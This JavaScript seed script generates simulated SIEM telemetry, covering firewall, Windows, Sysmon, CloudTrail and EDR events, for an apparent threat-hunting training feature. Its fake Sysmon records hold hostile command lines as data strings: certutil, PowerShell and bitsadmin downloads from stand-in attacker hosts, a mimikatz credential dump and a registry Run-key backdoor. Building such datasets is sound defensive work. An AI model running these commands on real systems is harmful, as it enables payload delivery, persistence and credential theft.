/**
 * Seed Simulated SIEM Logs (~500 entries)
 * Generates realistic enterprise telemetry data for the Threat Hunting feature
 */

const pick = (arr) => arr[Math.floor(Math.random() * arr.length)];
const randInt = (min, max) => Math.floor(Math.random() * (max - min + 1)) + min;
const randIP = (prefix) => prefix ? `${prefix}.${randInt(1, 254)}.${randInt(1, 254)}` : `${randInt(1, 223)}.${randInt(0, 255)}.${randInt(0, 255)}.${randInt(1, 254)}`;

// Realistic data pools
const INTERNAL_SUBNETS = ['10.0.0', '10.0.1', '10.0.2', '192.168.1', '192.168.10'];
const EXTERNAL_MALICIOUS = ['185.220.101.34', '45.155.205.233', '203.0.113.50', '185.123.231.45', '91.219.236.222', '104.248.22.103', '45.33.32.156', '198.51.100.23', '77.247.181.163', '162.247.74.27'];
const EXTERNAL_LEGIT = ['8.8.8.8', '1.1.1.1', '104.26.10.5', '151.101.1.140', '13.107.42.14', '142.250.80.46', '52.96.166.130', '20.190.159.4'];
const USERS = ['jsmith', 'jdoe', 'admin', 'svc_backup', 'mwilson', 'klee', 'rbrown', 'analyst01', 'svc_monitoring', 'administrator', 'helpdesk', 'cjohnson', 'agarcia', 'lchen', 'SYSTEM'];
const WORKSTATIONS = ['WS-ADMIN-01', 'WS-HR-02', 'WS-DEV-03', 'WS-FIN-04', 'WS-IT-05', 'SRV-DC-01', 'SRV-FILE-01', 'SRV-WEB-01', 'SRV-DB-01', 'SRV-MAIL-01', 'LAPTOP-EXEC-01', 'LAPTOP-REMOTE-02'];
const FIREWALL_RULES = ['HTTPS_ALLOW', 'HTTP_ALLOW', 'DNS_ALLOW', 'INTERNAL_ALLOW', 'SSH_BRUTE_FORCE', 'TOR_EXIT_NODE_BLOCK', 'SMB_EXTERNAL_BLOCK', 'RDP_BLOCK_EXTERNAL', 'MALWARE_C2_BLOCK', 'DEFAULT_DENY', 'VPN_ALLOW', 'MAIL_ALLOW', 'NTP_ALLOW'];
const PROCESS_NAMES = ['powershell.exe', 'cmd.exe', 'explorer.exe', 'svchost.exe', 'chrome.exe', 'outlook.exe', 'notepad.exe', 'python.exe', 'wscript.exe', 'mshta.exe', 'rundll32.exe', 'regsvr32.exe', 'certutil.exe', 'bitsadmin.exe'];
const SUSPICIOUS_PROCESSES = ['mimikatz.exe', 'lazagne.exe', 'bloodhound.exe', 'sharphound.exe', 'psexec.exe', 'procdump.exe', 'rubeus.exe'];
const EDR_ALERTS = [
    { name: 'Suspicious PowerShell Execution', sev: 'High', tactic: 'Execution', tech: 'T1059.001' },
    { name: 'Credential Dumping via LSASS', sev: 'Critical', tactic: 'Credential Access', tech: 'T1003.001' },
    { name: 'Lateral Movement via PsExec', sev: 'High', tactic: 'Lateral Movement', tech: 'T1021.002' },
    { name: 'Malicious File Downloaded', sev: 'Medium', tactic: 'Initial Access', tech: 'T1566.001' },
    { name: 'Persistence via Registry Run Key', sev: 'Medium', tactic: 'Persistence', tech: 'T1547.001' },
    { name: 'Data Exfiltration Detected', sev: 'Critical', tactic: 'Exfiltration', tech: 'T1041' },
    { name: 'Unauthorized Service Installation', sev: 'High', tactic: 'Persistence', tech: 'T1543.003' },
    { name: 'DNS Tunneling Activity', sev: 'High', tactic: 'Command and Control', tech: 'T1071.004' },
    { name: 'Process Injection Detected', sev: 'Critical', tactic: 'Defense Evasion', tech: 'T1055' },
    { name: 'Scheduled Task Created', sev: 'Medium', tactic: 'Persistence', tech: 'T1053.005' }
];
const AWS_EVENTS = [
    { src: 'signin.amazonaws.com', name: 'ConsoleLogin' },
    { src: 'iam.amazonaws.com', name: 'CreateUser' },
    { src: 'iam.amazonaws.com', name: 'AttachUserPolicy' },
    { src: 'iam.amazonaws.com', name: 'CreateAccessKey' },
    { src: 'ec2.amazonaws.com', name: 'RunInstances' },
    { src: 'ec2.amazonaws.com', name: 'AuthorizeSecurityGroupIngress' },
    { src: 's3.amazonaws.com', name: 'GetObject' },
    { src: 's3.amazonaws.com', name: 'PutBucketPolicy' },
    { src: 's3.amazonaws.com', name: 'DeleteBucket' },
    { src: 'secretsmanager.amazonaws.com', name: 'GetSecretValue' },
    { src: 'sts.amazonaws.com', name: 'AssumeRole' },
    { src: 'cloudtrail.amazonaws.com', name: 'StopLogging' },
    { src: 'lambda.amazonaws.com', name: 'CreateFunction20150331' },
    { src: 'rds.amazonaws.com', name: 'CreateDBSnapshot' },
    { src: 'ec2.amazonaws.com', name: 'DescribeInstances' }
];
const AWS_USERS = ['admin-user', 'dev-ops-user', 'lambda-role', 'ci-cd-pipeline', 'security-audit', 'root', 'svc-terraform', 'backup-role'];
const AWS_AGENTS = ['Mozilla/5.0', 'aws-cli/2.0', 'aws-sdk-python/1.26', 'aws-sdk-go/1.44', 'Terraform/1.5', 'console.amazonaws.com'];

// Random timestamp within last 30 days
const randomTimestamp = () => {
    const now = new Date('2026-03-09T20:00:00Z');
    const daysBack = Math.random() * 30;
    const d = new Date(now.getTime() - daysBack * 86400000);
    d.setHours(randInt(0, 23), randInt(0, 59), randInt(0, 59));
    return d.toISOString().replace('T', ' ').substring(0, 19);
};

// Generate a SHA256-like hash
const randHash = () => {
    const chars = '0123456789abcdef';
    let h = '';
    for (let i = 0; i < 64; i++) h += chars[Math.floor(Math.random() * 16)];
    return h;
};

// ── Log Generators ───────────────────────────────────────────

function genFirewall() {
    const isBlocked = Math.random() < 0.35;
    const isMalicious = Math.random() < 0.2;
    const src = isMalicious ? pick(EXTERNAL_MALICIOUS) : randIP(pick(INTERNAL_SUBNETS));
    const dst = isMalicious ? randIP(pick(INTERNAL_SUBNETS)) : pick([...EXTERNAL_LEGIT, randIP(pick(INTERNAL_SUBNETS))]);
    const port = pick([22, 53, 80, 443, 445, 3389, 8080, 8443, 4444, 1433, 3306, 5900]);
    const action = isBlocked ? pick(['blocked', 'denied', 'dropped']) : 'allowed';
    const rule = isBlocked ? pick(['SSH_BRUTE_FORCE', 'TOR_EXIT_NODE_BLOCK', 'SMB_EXTERNAL_BLOCK', 'RDP_BLOCK_EXTERNAL', 'MALWARE_C2_BLOCK', 'DEFAULT_DENY']) : pick(['HTTPS_ALLOW', 'HTTP_ALLOW', 'DNS_ALLOW', 'INTERNAL_ALLOW', 'VPN_ALLOW', 'MAIL_ALLOW', 'NTP_ALLOW']);

    return {
        ts: randomTimestamp(), src_ip: src, dst_ip: dst, evt: 'connection', act: action, idx: 'firewall_traffic',
        data: { src_ip: src, dst_ip: dst, port, action, bytes_in: isBlocked ? 0 : randInt(64, 150000), bytes_out: isBlocked ? 0 : randInt(64, 8000), rule }
    };
}

function genWindowsEvent() {
    const type = pick(['logon_success', 'logon_fail', 'logon_fail', 'service', 'account_change', 'privilege']);
    const user = pick(USERS);
    const ws = pick(WORKSTATIONS);
    const srcIp = randIP(pick(INTERNAL_SUBNETS));

    switch (type) {
        case 'logon_success':
            return { ts: randomTimestamp(), src_ip: srcIp, dst_ip: null, evt: 'logon', act: 'success', idx: 'windows_events',
                data: { EventID: 4624, User: user, LogonType: pick([2, 3, 7, 10]), Status: 'Success', Workstation: ws, SourceIP: srcIp } };
        case 'logon_fail':
            return { ts: randomTimestamp(), src_ip: srcIp, dst_ip: null, evt: 'logon', act: 'failed', idx: 'windows_events',
                data: { EventID: 4625, User: pick([...USERS, 'test', 'guest', 'sa', 'root']), LogonType: pick([3, 10]), Status: pick(['Bad Password', 'Account Locked', 'Unknown User', 'Account Disabled']), Workstation: ws, SourceIP: srcIp } };
        case 'service':
            return { ts: randomTimestamp(), src_ip: srcIp, dst_ip: null, evt: 'service', act: 'success', idx: 'windows_events',
                data: { EventID: 7045, User: pick(['SYSTEM', 'admin', user]), ServiceName: pick(['WindowsUpdate', 'WinDefend', 'MpsSvc', 'SuspiciousSvc', 'svc_monitor', 'RemoteAccess']), Status: pick(['Running', 'Installed']) } };
        case 'account_change':
            return { ts: randomTimestamp(), src_ip: srcIp, dst_ip: null, evt: 'account_mgmt', act: 'success', idx: 'windows_events',
                data: { EventID: pick([4720, 4722, 4724, 4738]), User: user, TargetUser: pick(USERS), Action: pick(['User Created', 'Account Enabled', 'Password Reset', 'Account Modified']), Workstation: ws } };
        case 'privilege':
            return { ts: randomTimestamp(), src_ip: srcIp, dst_ip: null, evt: 'privilege', act: 'success', idx: 'windows_events',
                data: { EventID: 4672, User: user, Privileges: pick(['SeDebugPrivilege', 'SeBackupPrivilege', 'SeRestorePrivilege', 'SeTakeOwnershipPrivilege']), Workstation: ws } };
    }
}

function genSysmon() {
    const isSuspicious = Math.random() < 0.25;
    const user = pick(USERS);
    const srcIp = randIP(pick(INTERNAL_SUBNETS));
    const type = pick(['process', 'process', 'process', 'network', 'file', 'registry', 'dns']);

    switch (type) {
        case 'process': {
            const proc = isSuspicious ? pick(SUSPICIOUS_PROCESSES) : pick(PROCESS_NAMES);
            const parent = pick(['explorer.exe', 'cmd.exe', 'svchost.exe', 'services.exe', 'winlogon.exe']);
            const cmdLines = isSuspicious
                ? pick([
                    `${proc} "sekurlsa::logonpasswords"`, `${proc} -ExecutionPolicy Bypass -File C:\\Temp\\payload.ps1`,
                    `certutil -urlcache -split -f http://evil.com/shell.exe C:\\Temp\\shell.exe`,
                    `powershell IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps')`,
                    `reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Backdoor /d C:\\Temp\\malware.exe`,
                    `wmic /node:SRV-DC-01 process call create "cmd /c whoami > C:\\Temp\\output.txt"`,
                    `bitsadmin /transfer evil http://malware.example.com/payload.exe C:\\Temp\\payload.exe`
                ])
                : pick([
                    'chrome.exe --type=renderer', 'outlook.exe /recycle', 'notepad.exe C:\\Users\\doc.txt',
                    'svchost.exe -k netsvcs', 'python.exe manage.py runserver', 'code.exe --unity-launch'
                ]);
            return { ts: randomTimestamp(), src_ip: srcIp, dst_ip: null, evt: 'process_create', act: 'logged', idx: 'sysmon_events',
                data: { EventID: 1, User: user, ProcessName: proc, CommandLine: cmdLines, ParentProcessName: parent, Hashes: `SHA256=${randHash().substring(0, 16)}` } };
        }
        case 'network':
            return { ts: randomTimestamp(), src_ip: srcIp, dst_ip: isSuspicious ? pick(EXTERNAL_MALICIOUS) : pick(EXTERNAL_LEGIT), evt: 'network_connect', act: 'logged', idx: 'sysmon_events',
                data: { EventID: 3, User: user, ProcessName: pick(PROCESS_NAMES), DestinationIp: isSuspicious ? pick(EXTERNAL_MALICIOUS) : pick(EXTERNAL_LEGIT), DestinationPort: pick([80, 443, 4444, 8080, 8443, 53]), Protocol: 'TCP' } };
        case 'file':
            return { ts: randomTimestamp(), src_ip: srcIp, dst_ip: null, evt: 'file_create', act: 'logged', idx: 'sysmon_events',
                data: { EventID: 11, User: user, ProcessName: pick(PROCESS_NAMES), TargetFilename: pick([
                    'C:\\Users\\Public\\payload.exe', 'C:\\Temp\\output.txt', 'C:\\Windows\\Temp\\svc.dll',
                    `C:\\Users\\${user}\\Documents\\report.xlsx`, `C:\\Users\\${user}\\Downloads\\invoice.pdf`
                ]), Hashes: `SHA256=${randHash().substring(0, 16)}` } };
        case 'registry':
            return { ts: randomTimestamp(), src_ip: srcIp, dst_ip: null, evt: 'registry_modify', act: 'logged', idx: 'sysmon_events',
                data: { EventID: 13, User: user, ProcessName: pick(['reg.exe', 'powershell.exe', 'regedit.exe']),
                    TargetObject: pick(['HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Backdoor', 'HKLM\\System\\CurrentControlSet\\Services\\MalSvc', 'HKCU\\Software\\Microsoft\\Office\\Security\\DisableVBA']),
                    Details: pick(['C:\\Temp\\malware.exe', '1', 'C:\\Windows\\System32\\svc.dll']) } };
        case 'dns':
            return { ts: randomTimestamp(), src_ip: srcIp, dst_ip: null, evt: 'dns_query', act: 'logged', idx: 'sysmon_events',
                data: { EventID: 22, User: user, ProcessName: pick(['chrome.exe', 'nslookup.exe', 'powershell.exe']),
                    QueryName: pick(['google.com', 'microsoft.com', 'evil-c2-server.xyz', 'data-exfil.attacker.net', 'cdn.jsdelivr.net', 'api.github.com', `${randHash().substring(0,12)}.attacker.com`]),
                    QueryResults: pick(['142.250.80.46', '13.107.42.14', '185.220.101.34', 'NXDOMAIN']) } };
    }
}

function genCloudTrail() {
    const evt = pick(AWS_EVENTS);
    const user = pick(AWS_USERS);
    const srcIp = pick([...EXTERNAL_LEGIT, ...EXTERNAL_MALICIOUS, randIP()]);

    return { ts: randomTimestamp(), src_ip: srcIp, dst_ip: null, evt: evt.name, act: 'success', idx: 'aws_cloudtrail',
        data: { userIdentity: { userName: user }, eventSource: evt.src, eventName: evt.name, userAgent: pick(AWS_AGENTS), sourceIPAddress: srcIp } };
}

function genCrowdStrike() {
    const alert = pick(EDR_ALERTS);
    const srcIp = randIP(pick(INTERNAL_SUBNETS));
    const proc = pick([...PROCESS_NAMES, ...SUSPICIOUS_PROCESSES]);

    return { ts: randomTimestamp(), src_ip: srcIp, dst_ip: null, evt: 'detection', act: pick(['quarantined', 'blocked', 'allowed', 'detected']), idx: 'crowdstrike_edr',
        data: { alert_name: alert.name, severity: alert.sev, sensor_id: `SENSOR-${pick(WORKSTATIONS).replace(/\s/g,'')}`, tactic: alert.tactic, technique: alert.tech,
            process_name: proc, file_path: `C:\\Users\\${pick(USERS)}\\${pick(['Downloads', 'Desktop', 'AppData\\Local\\Temp'])}\\${proc}`, sha256: randHash(), action_taken: pick(['quarantined', 'blocked', 'allowed']) } };
}

// ── Main Seeder ──────────────────────────────────────────────

const GENERATORS = [
    { fn: genFirewall, weight: 40 },      // 40% firewall
    { fn: genWindowsEvent, weight: 25 },   // 25% windows
    { fn: genSysmon, weight: 15 },         // 15% sysmon
    { fn: genCloudTrail, weight: 12 },     // 12% cloudtrail
    { fn: genCrowdStrike, weight: 8 },     // 8% edr
];

function pickGenerator() {
    const r = Math.random() * 100;
    let cumulative = 0;
    for (const g of GENERATORS) {
        cumulative += g.weight;
        if (r < cumulative) return g.fn;
    }
    return GENERATORS[0].fn;
}

async function seedSimulatedLogs(db, count = 500) {
    const countResult = await db.query('SELECT COUNT(*) as cnt FROM simulated_logs');
    if (countResult.rows[0].cnt > 0) {
        console.log(`ℹ️ simulated_logs already has ${countResult.rows[0].cnt} entries, skipping seed.`);
        return;
    }

    console.log(`🌱 Seeding ${count} simulated SIEM logs...`);

    // Generate all logs
    const logs = [];
    for (let i = 0; i < count; i++) {
        logs.push(pickGenerator()());
    }

    // Sort by timestamp for realism
    logs.sort((a, b) => a.ts.localeCompare(b.ts));

    // Batch insert for performance
    const BATCH = 50;
    for (let i = 0; i < logs.length; i += BATCH) {
        const batch = logs.slice(i, i + BATCH);
        const values = batch.map(() => '(?, ?, ?, ?, ?, ?, ?)').join(', ');
        const params = batch.flatMap(l => [l.ts, l.src_ip, l.dst_ip, l.evt, l.act, JSON.stringify(l.data), l.idx]);
        await db.query(
            `INSERT INTO simulated_logs (timestamp, source_ip, dest_ip, event_type, action, raw_data, index_name) VALUES ${values}`,
            params
        );
    }

    console.log(`✅ Seeded ${logs.length} simulated SIEM log entries across 5 indexes`);
}

module.exports = seedSimulatedLogs;
